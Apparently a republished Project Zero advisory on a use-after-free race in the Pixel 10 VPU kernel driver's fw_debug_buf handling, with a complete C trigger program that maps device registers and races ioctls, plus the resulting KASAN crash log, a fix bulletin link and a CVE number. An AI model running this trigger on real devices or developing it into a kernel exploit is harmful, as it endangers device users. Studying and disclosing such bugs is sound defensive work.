## https://sploitus.com/exploit?id=PACKETSTORM:225819
Issue description
There are lifetime issues with the pointer fw_debug_buf in the Pixel 10 Codec3P VPU driver (https://github.com/mikeNG/android_kernel_google_gs-6.6_google-modules/blob/fe535732beda25ad9dcbbc5dd612025603e204f8/video/cnm/vpu_ioctl.c, Android annoyingly doesn't seem to have published source code for this on their public git host).
vpu_open_inst does this without holding any locks:
if (!core->fw_debug_buf)
core->fw_debug_buf = vpu_get_fw_debug_buf(core);
where vpu_get_fw_debug_buf() is defined as:
struct vpu_dmabuf_info *vpu_get_fw_debug_buf(struct vpu_core *core)
{
struct vpu_dmabuf_info *curr, *temp;
/* vpuapi is using index 0 when allocating debug buf */
struct vpu_dmabuf_list *dmabuf_list = &core->dmabuf_list[0];
struct vpu_dmabuf_info *dmabuf_info = NULL;
uint32_t debug_buf_iova = READ_VPU_REGISTER(core, CMD_COMMON_MEM_DEBUG_BASE);
if (!debug_buf_iova)
return NULL;
mutex_lock(&dmabuf_list->lock);
list_for_each_entry_safe(curr, temp, &dmabuf_list->allocs, list) {
if (curr->iova == debug_buf_iova) {
dmabuf_info = curr;
dev_dbg(core->dev, "found debug buf iova %pad\n", &curr->iova);
break;
}
}
mutex_unlock(&dmabuf_list->lock);
return dmabuf_info;
}
As soon as the &dmabuf_list->lock has been dropped, another thread can free the dmabuf before the pointer to it is even stored in core->fw_debug_buf; that will lead to UAF when core->fw_debug_buf is used later, for example by vpu_unlocked_ioctl() when handling VPU_IOCX_FREE_DMABUF.
Also, this access to core->fw_debug_buf in vpu_unlocked_ioctl() is not protected by a lock and can free a debug buffer to which a pointer is concurrently being stored in core->fw_debug_buf:
if (core->fw_debug_buf && core->fw_debug_buf->fd == dmabuf.fd) {
/* defer release fw debug buffer */
break;
}
vpu_free_dma_buf(alloc_list, list_lock, &dmabuf);
Also, since it is possible to open a second /dev/vpu file while another /dev/vpu file is still in the middle of vpu_release(), the code in vpu_release() that frees all buffers (including the debug buffer) can also race with VPU_IOCX_FREE_DMABUF.
Deadline
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-06-11.
For more details, see the Project Zero vulnerability disclosure policy: https://projectzero.google/vulnerability-disclosure-policy.html
[ro.product.model]: [Pixel 10]
[ro.build.fingerprint]: [google/frankel/frankel:16/CP1A.260305.018/14887507:user/release-keys]
[ro.vendor.build.security_patch]: [2026-03-05]
with KASAN enabled.
I have written a testcase that triggers a KASAN UAF read detection:
#include <pthread.h>
#include <fcntl.h>
#include <err.h>
#include <stddef.h>
#include <unistd.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define MAX_HEAP_NAME 32
#define VPU_NO_INST (__u32)-1
struct vpu_dmabuf {
__u32 inst_idx;
__u32 size;
__s32 fd;
__u32 iova;
char heap_name[MAX_HEAP_NAME];
__u32 skip_cmo;
};
#define VPU_IOC_MAGIC 'B'
#define _VPU_IO(nr) _IO(VPU_IOC_MAGIC, nr)
#define _VPU_IOR(nr, size) _IOR(VPU_IOC_MAGIC, nr, size)
#define _VPU_IOW(nr, size) _IOW(VPU_IOC_MAGIC, nr, size)
#define _VPU_IOWR(nr, size) _IOWR(VPU_IOC_MAGIC, nr, size)
enum cpu_cmd_id {
VPU_CMD_REG_SZ,
VPU_CMD_OPEN,
VPU_CMD_CLOSE,
VPU_WAIT_INTERRUPT,
VPU_SIGNAL_INTERRUPT,
VPU_ALLOC_DMABUF,
VPU_FREE_DMABUF,
VPU_GET_IOVA,
VPU_PUT_IOVA,
VPU_SET_CLK_RATE,
VPU_SET_BW,
VPU_RESET,
VPU_DMA_BUF_SYNC,
VPU_SSCD_COREDUMP,
VPU_NOTIFY_IDLE,
VPU_SEND_FW_CMD,
};
#define VPU_IOCX_GET_REG_SZ _VPU_IOR(VPU_CMD_REG_SZ, __u32)
#define VPU_IOCX_OPEN_INSTANCE _VPU_IOW(VPU_CMD_OPEN, __u32)
#define VPU_IOCX_CLOSE_INSTANCE _VPU_IOW(VPU_CMD_CLOSE, __u32)
#define VPU_IOCX_ALLOC_DMABUF _VPU_IOWR(VPU_ALLOC_DMABUF, struct vpu_dmabuf)
#define VPU_IOCX_FREE_DMABUF _VPU_IOWR(VPU_FREE_DMABUF, struct vpu_dmabuf)
#define VPU_IOCX_GET_IOVA _VPU_IOWR(VPU_GET_IOVA, struct vpu_dmabuf)
#define VPU_IOCX_PUT_IOVA _VPU_IOWR(VPU_PUT_IOVA, struct vpu_dmabuf)
#define VPU_IOCX_WAIT_INTERRUPT _VPU_IOWR(VPU_WAIT_INTERRUPT, struct vpu_intr_info)
#define VPU_IOCX_SIGNAL_INTERRUPT _VPU_IOW(VPU_SIGNAL_INTERRUPT, struct vpu_intr_info)
#define VPU_IOCX_SET_CLK_RATE _VPU_IOW(VPU_SET_CLK_RATE, __u32)
#define VPU_IOCX_SET_BW _VPU_IOW(VPU_SET_BW, struct vpu_bandwidth_info)
#define VPU_IOCX_DMA_BUF_SYNC _VPU_IOW(VPU_DMA_BUF_SYNC, struct vpu_buf_sync)
#define VPU_IOCX_SSCD_COREDUMP _VPU_IOW(VPU_SSCD_COREDUMP, struct vpu_coredump_info)
#define VPU_IOCX_NOTIFY_IDLE _VPU_IOW(VPU_NOTIFY_IDLE, __u32)
#define VPU_IOCX_SEND_FW_CMD _VPU_IOW(VPU_SEND_FW_CMD, struct vpu_fw_cmd)
/* register definitions */
#define W6_REG_BASE 0x00000000
#define CMD_COMMON_MEM_DEBUG_BASE (W6_REG_BASE + 0x298)
static void *vpu_regs;
static unsigned int read_reg(int regoff) {
return *(volatile unsigned int *)(vpu_regs + regoff);
}
static void write_reg(int regoff, unsigned int value) {
*(volatile unsigned int *)(vpu_regs + regoff) = value;
}
static struct vpu_dmabuf vdb_debug_buf;
static void *thread_fn(void *dummy) {
int vpu_fd;
do {
vpu_fd = open("/dev/vpu", O_RDWR);
} while (vpu_fd == -1);
// at this point, vpu_release() is past vpu_pt_client_disable(), but still might have buffers in inst0.
while (1) {
struct vpu_dmabuf vpu_trigger = {.inst_idx=0, .heap_name = "system", .size = 0x1000};
SYSCHK(ioctl(vpu_fd, VPU_IOCX_ALLOC_DMABUF, &vpu_trigger));
SYSCHK(ioctl(vpu_fd, VPU_IOCX_FREE_DMABUF, &vpu_trigger));
close(vpu_trigger.fd);
}
return NULL;
}
int main(void) {
int vpu_fd = SYSCHK(open("/dev/vpu", O_RDWR));
vpu_regs = SYSCHK(mmap(NULL, 0x8000, PROT_READ|PROT_WRITE, MAP_SHARED, vpu_fd, 0));
/* set fw_debug_buf */
SYSCHK(ioctl(vpu_fd, VPU_IOCX_OPEN_INSTANCE, 0));
vdb_debug_buf = (struct vpu_dmabuf) {.inst_idx=0, .heap_name = "system", .size = 0x1000};
SYSCHK(ioctl(vpu_fd, VPU_IOCX_ALLOC_DMABUF, &vdb_debug_buf));
printf("setting CMD_COMMON_MEM_DEBUG_BASE to 0x%lx\n", vdb_debug_buf.iova);
write_reg(CMD_COMMON_MEM_DEBUG_BASE, vdb_debug_buf.iova);
SYSCHK(ioctl(vpu_fd, VPU_IOCX_OPEN_INSTANCE, 1));
SYSCHK(munmap(vpu_regs, 0x8000));
/* spam instance 1 to make release slow */
printf("spamming...\n");
struct vpu_dmabuf vdb_spam = {.inst_idx=1, .heap_name = "system", .size = 0x1000};
SYSCHK(ioctl(vpu_fd, VPU_IOCX_ALLOC_DMABUF, &vdb_spam));
printf("vdb_spam is at 0x%lx\n", vdb_spam.iova);
for (int i=0; i<100000; i++) {
struct vpu_dmabuf vdb_spam_copy = vdb_spam;
SYSCHK(ioctl(vpu_fd, VPU_IOCX_GET_IOVA, &vdb_spam_copy));
}
printf("releasing...\n");
pthread_t thread;
if (pthread_create(&thread, NULL, thread_fn, NULL))
errx(1, "pthread_create");
close(vpu_fd);
printf("done\n");
}
If I build and run that on a rooted Pixel 10 with KASAN enabled using aarch64-linux-gnu-gcc -static -o vpu-fw-debug-buf-uaf vpu-fw-debug-buf-uaf.c && adb push vpu-fw-debug-buf-uaf /data/local/tmp/ && adb shell -t /data/local/tmp/vpu-fw-debug-buf-uaf, while monitoring kernel log messages with adb shell dmesg -w | grep -v 'has leaked', I get this KASAN splat:
[ 138.875255] ==================================================================
[ 138.875261] BUG: KASAN: invalid-access in vpu_release+0x2c0/0x428 [vpu]
[ 138.875293] Read at addr f9ffff893fb13b28 by task vpu-fw-debug-bu/7525
[ 138.875302] Pointer tag: [f9], memory tag: [fe]
[ 138.875307]
[ 138.875315] CPU: 3 PID: 7525 Comm: vpu-fw-debug-bu Tainted: G S W O 6.6.102-android15-8-g6eb5b2a8c46b-ab14739656-4k #1 d132946bd67ae31e8cb92463e6895d3c385d2d2c
[ 138.875326] Hardware name: FRANKEL MP based on LGA (DT)
[ 138.875332] Call trace:
[ 138.875337] dump_backtrace+0xe8/0x108
[ 138.875353] show_stack+0x18/0x28
[ 138.875360] dump_stack_lvl+0x50/0x6c
[ 138.875375] print_report+0x1b0/0x708
[ 138.875401] kasan_report+0xe0/0x140
[ 138.875410] __do_kernel_fault+0xb8/0x280
[ 138.875430] do_bad_area+0x30/0xdc
[ 138.875438] do_tag_check_fault+0x20/0x34
[ 138.875446] do_mem_abort+0x58/0x118
[ 138.875454] el1_abort+0x3c/0x5c
[ 138.875463] el1h_64_sync_handler+0x54/0x90
[ 138.875469] el1h_64_sync+0x68/0x6c
[ 138.875479] vpu_release+0x2c0/0x428 [vpu 9b0c2c7d0a39edd26612b034360e1f028c2a0335]
[ 138.875503] __fput+0x98/0x2b8
[ 138.875522] __fput_sync+0x28/0x5c
[ 138.875529] __arm64_sys_close+0x84/0xe8
[ 138.875537] invoke_syscall+0x58/0x114
[ 138.875557] el0_svc_common+0xac/0xe0
[ 138.875566] do_el0_svc+0x1c/0x28
[ 138.875574] el0_svc+0x38/0x94
[ 138.875581] el0t_64_sync_handler+0x68/0xbc
[ 138.875588] el0t_64_sync+0x1a8/0x1ac
[ 138.875593]
[ 138.875597] The buggy address belongs to the object at ffffff893fb13b00
which belongs to the cache kmalloc-128 of size 128
[ 138.875604] The buggy address is located 40 bytes inside of
128-byte region [ffffff893fb13b00, ffffff893fb13b80)
[ 138.875611]
[ 138.875615] The buggy address belongs to the physical page:
[ 138.875622] page:00000000d0bcf899 refcount:1 mapcount:0 mapping:0000000000000000 index:0xf9ffff893fb13b00 pfn:0x9bfb13
[ 138.875630] anon flags: 0x2000000000000800(slab|zone=1|kasantag=0x0)
[ 138.875641] page_type: 0xffffffff()
[ 138.875649] raw: 2000000000000800 fdffff8002402300 fffffffe25131740 dead000000000005
[ 138.875656] raw: f9ffff893fb13b00 000000008020001c 00000001ffffffff 0000000000000000
[ 138.875660] page dumped because: kasan: bad access detected
[ 138.875665]
[ 138.875669] Memory state around the buggy address:
[ 138.875674] ffffff893fb13900: fc fc fc fc fc fc fc fc f2 f2 f2 f2 f2 f2 f2 fe
[ 138.875679] ffffff893fb13a00: f4 f4 f4 f4 f4 f4 fe fe f5 f5 f5 f5 f5 f5 fe fe
[ 138.875684] >ffffff893fb13b00: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
[ 138.875689] ^
[ 138.875694] ffffff893fb13c00: f4 f4 f4 f4 f4 f4 fe fe f0 f0 f0 f0 f0 fe fe fe
[ 138.875699] ffffff893fb13d00: f1 f1 f1 f1 f1 f1 f1 fe fb fb fb fb fb fb fb fb
[ 138.875710] ==================================================================
Issue summary
There are lifetime issues with the pointer fw_debug_buf in the Pixel 10 Codec3P VPU driver (https://github.com/mikeNG/android_kernel_google_gs-6.6_google-modules/blob/fe535732beda25ad9dcbbc5dd612025603e204f8/video/cnm/vpu_ioctl.c, Android annoyingly doesn't seem to have published source code for this on their public git host).
Fix is in https://source.android.com/docs/security/bulletin/pixel/2026/2026-06-01
Related CVE Number: CVE-2026-0125
Credit: Jann Horn